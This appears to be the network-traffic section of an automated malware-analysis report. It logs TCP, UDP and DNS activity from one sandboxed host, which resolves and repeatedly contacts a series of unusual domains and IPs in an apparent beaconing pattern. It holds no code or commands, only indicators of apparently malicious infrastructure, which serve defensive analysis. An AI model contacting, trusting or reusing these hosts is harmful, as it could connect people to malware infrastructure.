Sep 11, 2024 11:19:55.993038893 CEST	80	63357	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:56.435580969 CEST	80	63357	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:56.435595036 CEST	80	63357	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:56.435700893 CEST	63357	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:57.497056961 CEST	63357	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:58.515767097 CEST	63358	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:58.521693945 CEST	80	63358	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:58.527710915 CEST	63358	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:58.536246061 CEST	63358	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:19:58.541738033 CEST	80	63358	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:58.981581926 CEST	80	63358	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:58.981991053 CEST	80	63358	188.114.97.3	192.168.2.4
Sep 11, 2024 11:19:58.982043028 CEST	63358	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:00.047655106 CEST	63358	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:01.063056946 CEST	63359	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:01.067986012 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.068058014 CEST	63359	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:01.082154036 CEST	63359	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:01.087598085 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087609053 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087616920 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087620974 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087629080 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087639093 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087649107 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087657928 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.087738037 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.543066025 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.543495893 CEST	80	63359	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:01.547657967 CEST	63359	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:02.590848923 CEST	63359	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:03.611649036 CEST	63360	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:03.617660999 CEST	80	63360	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:03.623640060 CEST	63360	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:03.627640963 CEST	63360	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:03.633013010 CEST	80	63360	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:04.080636978 CEST	80	63360	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:04.080693007 CEST	80	63360	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:04.080885887 CEST	63360	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:04.083642960 CEST	63360	80	192.168.2.4	188.114.97.3
Sep 11, 2024 11:20:04.089278936 CEST	80	63360	188.114.97.3	192.168.2.4
Sep 11, 2024 11:20:09.755656004 CEST	63361	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:09.764311075 CEST	80	63361	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:09.764522076 CEST	63361	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:09.775651932 CEST	63361	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:09.780797005 CEST	80	63361	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:10.229926109 CEST	80	63361	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:10.230010033 CEST	63361	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:11.278511047 CEST	63361	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:11.283483982 CEST	80	63361	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:12.297652006 CEST	63362	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:12.302777052 CEST	80	63362	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:12.303778887 CEST	63362	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:12.315643072 CEST	63362	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:12.320472956 CEST	80	63362	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:12.762411118 CEST	80	63362	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:12.762485981 CEST	63362	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:13.827655077 CEST	63362	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:13.832870960 CEST	80	63362	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.844801903 CEST	63363	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:14.851836920 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.851913929 CEST	63363	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:14.867248058 CEST	63363	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:14.872250080 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872270107 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872282982 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872294903 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872307062 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872514963 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872526884 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872539043 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:14.872550964 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:15.332469940 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:15.332520008 CEST	63363	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:16.372190952 CEST	63363	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:16.377065897 CEST	80	63363	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:17.390634060 CEST	63364	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:17.395531893 CEST	80	63364	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:17.395622969 CEST	63364	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:17.402164936 CEST	63364	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:17.406986952 CEST	80	63364	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:17.879173040 CEST	80	63364	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:17.879319906 CEST	80	63364	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:17.882452965 CEST	63364	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:17.885723114 CEST	63364	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:20:17.890518904 CEST	80	63364	3.33.130.190	192.168.2.4
Sep 11, 2024 11:20:23.298901081 CEST	63365	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:23.303859949 CEST	80	63365	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:23.303944111 CEST	63365	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:23.318247080 CEST	63365	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:23.323198080 CEST	80	63365	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:24.193732023 CEST	80	63365	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:24.194000006 CEST	80	63365	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:24.194164991 CEST	63365	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:24.825638056 CEST	63365	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:25.843858004 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:26.267493963 CEST	80	63366	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:26.267869949 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:26.277415037 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:26.282330990 CEST	80	63366	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:27.185648918 CEST	80	63366	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:27.185960054 CEST	80	63366	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:27.186100006 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:27.397645950 CEST	80	63366	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:27.397782087 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:27.778522968 CEST	63366	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:28.797682047 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:28.802934885 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.803005934 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:28.819073915 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:28.824112892 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824136972 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824148893 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824162960 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824174881 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824199915 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824213028 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824225903 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:28.824238062 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:29.713053942 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:29.762686968 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:29.947223902 CEST	80	63367	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:29.947293997 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:30.325695992 CEST	63367	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:31.344034910 CEST	63368	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:31.348923922 CEST	80	63368	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:31.348999023 CEST	63368	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:31.357500076 CEST	63368	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:31.362344980 CEST	80	63368	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:32.262432098 CEST	80	63368	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:32.262454033 CEST	80	63368	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:32.268338919 CEST	63368	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:32.270920038 CEST	63368	80	192.168.2.4	206.119.82.134
Sep 11, 2024 11:20:32.275770903 CEST	80	63368	206.119.82.134	192.168.2.4
Sep 11, 2024 11:20:37.364309072 CEST	63369	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:37.369143963 CEST	80	63369	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:37.369209051 CEST	63369	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:37.384572029 CEST	63369	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:37.390460968 CEST	80	63369	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:38.047235966 CEST	80	63369	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:38.047261000 CEST	80	63369	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:38.047406912 CEST	63369	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:38.887784958 CEST	63369	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:39.907728910 CEST	63370	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:39.912887096 CEST	80	63370	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:39.915810108 CEST	63370	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:39.927700043 CEST	63370	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:39.932492971 CEST	80	63370	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:40.714804888 CEST	80	63370	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:40.715521097 CEST	80	63370	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:40.715590000 CEST	63370	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:41.434803009 CEST	63370	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:42.453394890 CEST	63371	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:42.532670021 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.534504890 CEST	63371	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:42.547439098 CEST	63371	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:42.557440042 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557697058 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557708979 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557718992 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557810068 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557820082 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557827950 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557842970 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:42.557878017 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:43.198985100 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:43.199035883 CEST	63371	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:44.059773922 CEST	63371	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:44.064888954 CEST	80	63371	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:45.079235077 CEST	63372	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:45.084582090 CEST	80	63372	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:45.084661961 CEST	63372	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:45.093060970 CEST	63372	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:45.097879887 CEST	80	63372	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:45.743110895 CEST	80	63372	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:45.743184090 CEST	80	63372	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:45.747098923 CEST	63372	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:45.750066996 CEST	63372	80	192.168.2.4	65.21.196.90
Sep 11, 2024 11:20:45.754966021 CEST	80	63372	65.21.196.90	192.168.2.4
Sep 11, 2024 11:20:51.585716963 CEST	63373	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:51.590660095 CEST	80	63373	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:51.590744019 CEST	63373	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:51.601202965 CEST	63373	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:51.606126070 CEST	80	63373	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:53.091767073 CEST	80	63373	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:53.091788054 CEST	80	63373	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:53.091856956 CEST	63373	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:53.106808901 CEST	63373	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:54.126298904 CEST	63374	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:54.131577969 CEST	80	63374	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:54.131660938 CEST	63374	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:54.142148018 CEST	63374	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:54.147068024 CEST	80	63374	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:55.058460951 CEST	80	63374	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:55.058487892 CEST	80	63374	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:55.058547020 CEST	63374	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:55.653820038 CEST	63374	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:56.678848028 CEST	63375	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:56.998507023 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:56.998676062 CEST	63375	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:57.020370007 CEST	63375	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:57.025403976 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025446892 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025463104 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025535107 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025547028 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025605917 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025618076 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025629997 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.025643110 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.931412935 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.931921005 CEST	80	63375	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:57.935817957 CEST	63375	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:58.528405905 CEST	63375	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:59.547454119 CEST	63376	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:59.819679022 CEST	80	63376	38.181.141.122	192.168.2.4
Sep 11, 2024 11:20:59.825373888 CEST	63376	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:59.831751108 CEST	63376	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:20:59.836672068 CEST	80	63376	38.181.141.122	192.168.2.4
Sep 11, 2024 11:21:00.793679953 CEST	80	63376	38.181.141.122	192.168.2.4
Sep 11, 2024 11:21:00.793699026 CEST	80	63376	38.181.141.122	192.168.2.4
Sep 11, 2024 11:21:00.793822050 CEST	63376	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:21:00.797712088 CEST	63376	80	192.168.2.4	38.181.141.122
Sep 11, 2024 11:21:00.802548885 CEST	80	63376	38.181.141.122	192.168.2.4
Sep 11, 2024 11:21:09.428206921 CEST	63377	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:21:09.433105946 CEST	80	63377	81.88.63.46	192.168.2.4
Sep 11, 2024 11:21:09.433208942 CEST	63377	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:21:09.439260960 CEST	63377	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:21:09.444086075 CEST	80	63377	81.88.63.46	192.168.2.4
Sep 11, 2024 11:21:10.103210926 CEST	80	63377	81.88.63.46	192.168.2.4
Sep 11, 2024 11:21:10.103313923 CEST	80	63377	81.88.63.46	192.168.2.4
Sep 11, 2024 11:21:10.103458881 CEST	63377	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:21:10.105956078 CEST	63377	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:21:10.110920906 CEST	80	63377	81.88.63.46	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 11:17:24.246217966 CEST	51275	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:17:24.449491024 CEST	53	51275	1.1.1.1	192.168.2.4
Sep 11, 2024 11:17:33.769716978 CEST	53	51817	162.159.36.2	192.168.2.4
Sep 11, 2024 11:17:34.406877995 CEST	62443	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:17:34.413980007 CEST	53	62443	1.1.1.1	192.168.2.4
Sep 11, 2024 11:17:40.171951056 CEST	61276	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:17:40.204453945 CEST	53	61276	1.1.1.1	192.168.2.4
Sep 11, 2024 11:17:54.125217915 CEST	60174	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:17:54.651145935 CEST	53	60174	1.1.1.1	192.168.2.4
Sep 11, 2024 11:18:07.782618046 CEST	53596	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:18:07.794977903 CEST	53	53596	1.1.1.1	192.168.2.4
Sep 11, 2024 11:18:20.922744989 CEST	63524	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:18:21.096124887 CEST	53	63524	1.1.1.1	192.168.2.4
Sep 11, 2024 11:18:34.422508955 CEST	57486	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:18:35.193113089 CEST	53	57486	1.1.1.1	192.168.2.4
Sep 11, 2024 11:18:48.812932968 CEST	65281	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:18:48.831665993 CEST	53	65281	1.1.1.1	192.168.2.4
Sep 11, 2024 11:19:01.968837023 CEST	56485	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:19:01.983338118 CEST	53	56485	1.1.1.1	192.168.2.4
Sep 11, 2024 11:19:15.125559092 CEST	51551	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:19:15.155782938 CEST	53	51551	1.1.1.1	192.168.2.4
Sep 11, 2024 11:19:28.500880957 CEST	53802	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:19:28.718796968 CEST	53	53802	1.1.1.1	192.168.2.4
Sep 11, 2024 11:19:42.172229052 CEST	65533	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:19:42.304311037 CEST	53	65533	1.1.1.1	192.168.2.4
Sep 11, 2024 11:19:55.937663078 CEST	58083	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:19:55.962289095 CEST	53	58083	1.1.1.1	192.168.2.4
Sep 11, 2024 11:20:09.095891953 CEST	57424	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:20:09.751230001 CEST	53	57424	1.1.1.1	192.168.2.4
Sep 11, 2024 11:20:22.892302990 CEST	64142	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:20:23.296435118 CEST	53	64142	1.1.1.1	192.168.2.4
Sep 11, 2024 11:20:37.282587051 CEST	50102	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:20:37.361391068 CEST	53	50102	1.1.1.1	192.168.2.4
Sep 11, 2024 11:20:50.766944885 CEST	61302	53	192.168.2.4	1.1.1.1
Sep 11, 2024 11:20:51.583141088 CEST	53	61302	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 11, 2024 11:17:24.246217966 CEST	192.168.2.4	1.1.1.1	0xb7ca	Standard query (0)	www.2bhp.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:17:34.406877995 CEST	192.168.2.4	1.1.1.1	0xc1	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 11, 2024 11:17:40.171951056 CEST	192.168.2.4	1.1.1.1	0xfd29	Standard query (0)	www.ultraleap.net	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:17:54.125217915 CEST	192.168.2.4	1.1.1.1	0x6b84	Standard query (0)	www.dalong.site	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:07.782618046 CEST	192.168.2.4	1.1.1.1	0x1de9	Standard query (0)	www.mgeducacaopro.online	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:20.922744989 CEST	192.168.2.4	1.1.1.1	0xb408	Standard query (0)	www.heldhold.xyz	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:34.422508955 CEST	192.168.2.4	1.1.1.1	0x93d4	Standard query (0)	www.63582.photo	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:48.812932968 CEST	192.168.2.4	1.1.1.1	0xdbba	Standard query (0)	www.useanecdotenow.tech	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:01.968837023 CEST	192.168.2.4	1.1.1.1	0x4f28	Standard query (0)	www.asiapartnars.online	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:15.125559092 CEST	192.168.2.4	1.1.1.1	0x2b77	Standard query (0)	www.linkwave.cloud	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:28.500880957 CEST	192.168.2.4	1.1.1.1	0x5bdd	Standard query (0)	www.mfgarage.net	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:42.172229052 CEST	192.168.2.4	1.1.1.1	0xe26c	Standard query (0)	www.b5x7vk.agency	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:55.937663078 CEST	192.168.2.4	1.1.1.1	0xc182	Standard query (0)	www.rtpngk.xyz	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:09.095891953 CEST	192.168.2.4	1.1.1.1	0xa279	Standard query (0)	www.doggieradio.net	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:22.892302990 CEST	192.168.2.4	1.1.1.1	0x2548	Standard query (0)	www.40wxd.top	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:37.282587051 CEST	192.168.2.4	1.1.1.1	0x9c67	Standard query (0)	www.030002304.xyz	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:50.766944885 CEST	192.168.2.4	1.1.1.1	0xc5e9	Standard query (0)	www.kfowks.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 11, 2024 11:17:24.449491024 CEST	1.1.1.1	192.168.2.4	0xb7ca	No error (0)	www.2bhp.com		81.88.63.46	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:17:34.413980007 CEST	1.1.1.1	192.168.2.4	0xc1	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 11, 2024 11:17:40.204453945 CEST	1.1.1.1	192.168.2.4	0xfd29	No error (0)	www.ultraleap.net	webredir.vip.gandi.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:17:40.204453945 CEST	1.1.1.1	192.168.2.4	0xfd29	No error (0)	webredir.vip.gandi.net		217.70.184.50	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:17:54.651145935 CEST	1.1.1.1	192.168.2.4	0x6b84	No error (0)	www.dalong.site	dalong.site		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:17:54.651145935 CEST	1.1.1.1	192.168.2.4	0x6b84	No error (0)	dalong.site		172.96.187.60	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:07.794977903 CEST	1.1.1.1	192.168.2.4	0x1de9	No error (0)	www.mgeducacaopro.online	mgeducacaopro.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:18:07.794977903 CEST	1.1.1.1	192.168.2.4	0x1de9	No error (0)	mgeducacaopro.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:07.794977903 CEST	1.1.1.1	192.168.2.4	0x1de9	No error (0)	mgeducacaopro.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:21.096124887 CEST	1.1.1.1	192.168.2.4	0xb408	No error (0)	www.heldhold.xyz		67.223.117.189	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:35.193113089 CEST	1.1.1.1	192.168.2.4	0x93d4	No error (0)	www.63582.photo	6ybpt9er.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:18:35.193113089 CEST	1.1.1.1	192.168.2.4	0x93d4	No error (0)	6ybpt9er.as66588.com	azkwupgf.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:18:35.193113089 CEST	1.1.1.1	192.168.2.4	0x93d4	No error (0)	azkwupgf.as66588.com		147.92.40.175	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:48.831665993 CEST	1.1.1.1	192.168.2.4	0xdbba	No error (0)	www.useanecdotenow.tech	useanecdotenow.tech		CNAME (Canonical name)	IN (0x0001)	false
